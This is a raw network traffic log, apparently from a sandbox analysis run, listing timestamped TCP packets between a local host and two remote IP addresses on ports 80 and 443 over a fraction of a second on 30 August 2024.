Aug 30, 2024 06:17:06.530220985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530241013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.530245066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530250072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.530253887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530282021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530291080 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.530291080 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.530291080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.530324936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.554188967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554199934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554208994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554256916 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554259062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.554266930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554276943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554311991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554392099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554405928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554415941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554424047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554433107 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554461002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.554461002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.554461002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.554461002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.554461002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.554461002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.554478884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554487944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554523945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.554591894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554601908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554610014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554619074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554629087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554635048 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.554637909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554646969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.554652929 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.554666042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.554680109 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.556523085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556539059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556548119 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556571007 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.556581020 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.556637049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556647062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556654930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556663990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556688070 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.556704044 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.556781054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556790113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556803942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556814909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556832075 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.556854010 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.556879044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556890011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556900024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556907892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.556925058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.556935072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.557009935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557018995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557027102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557037115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557046890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557053089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.557056904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557065964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557075024 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.557086945 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.557106018 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.557598114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557606936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557619095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557642937 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.557658911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557667017 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.557668924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557677984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557688951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557692051 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.557708979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.557719946 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.557737112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.557776928 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.562618017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562628031 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562637091 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562664986 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.562684059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.562697887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562707901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562716961 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562726021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562736034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562737942 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.562794924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562804937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562812090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562817097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562823057 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.562823057 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.562825918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562841892 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.562860966 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.562868118 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.562901020 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563458920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563471079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563478947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563509941 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563528061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563534021 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563539028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563546896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563561916 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563570976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563575983 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563585043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563595057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563601971 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563605070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563615084 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563646078 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563693047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563707113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563715935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563724041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563735008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563740015 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563755035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563769102 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563781023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563790083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563798904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563808918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563824892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563827991 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563844919 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563858032 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563895941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563904047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563909054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563914061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563924074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563935041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.563952923 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.563977003 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564032078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564040899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564049959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564059019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564069033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564080954 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564085960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564097881 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564099073 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564107895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564116955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564117908 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564131021 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564152956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564156055 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564162970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564173937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564184904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564194918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564198971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564205885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564208031 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564218044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564228058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564234018 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564239025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564248085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564258099 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564266920 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564285994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564336061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564357996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564368010 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564376116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564383030 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564385891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.564397097 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.564424992 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.575165987 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.575181007 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.575242043 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.575252056 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.575292110 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.575670004 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.575684071 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.575736046 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.575742960 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.575778008 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.575967073 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.575980902 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.576030016 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.576035976 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.576071978 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.576205015 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.576220036 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.576265097 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.576272011 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.576311111 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.576425076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.576432943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.576469898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.576503992 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.576517105 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.576565981 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.576575994 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.576586962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.576602936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.576610088 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.576613903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.576623917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.576634884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.576656103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.576656103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.576675892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.576704979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.576879025 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.576982975 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.576998949 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.577049017 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.577055931 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.577090025 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.577311993 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.577325106 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.577370882 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.577377081 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.577414989 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.577754021 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.577768087 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.577816010 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.577822924 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.577860117 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.613205910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613214970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613224030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613234997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613271952 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613275051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613286018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613293886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613404036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613411903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613411903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613413095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613411903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613425970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613440037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613455057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613462925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613465071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613473892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613482952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613519907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613519907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613595009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613604069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613611937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613621950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613631010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613640070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613648891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613648891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613667965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613713980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613738060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613748074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613756895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613766909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613775969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613785982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613791943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613791943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613795042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613825083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613825083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.613914967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613924026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613929033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613938093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.613964081 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614006996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614056110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614064932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614073992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614082098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614090919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614104986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614114046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614116907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614116907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614123106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614131927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614132881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614141941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614150047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614159107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614161968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614168882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614177942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614211082 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614211082 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614211082 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614356041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614365101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614373922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614382982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614411116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614420891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614475012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614484072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614491940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614499092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614509106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614518881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614527941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614530087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614530087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614537954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.614563942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.614579916 CEST	49733	80	192.168.2.4	147.45.44.104
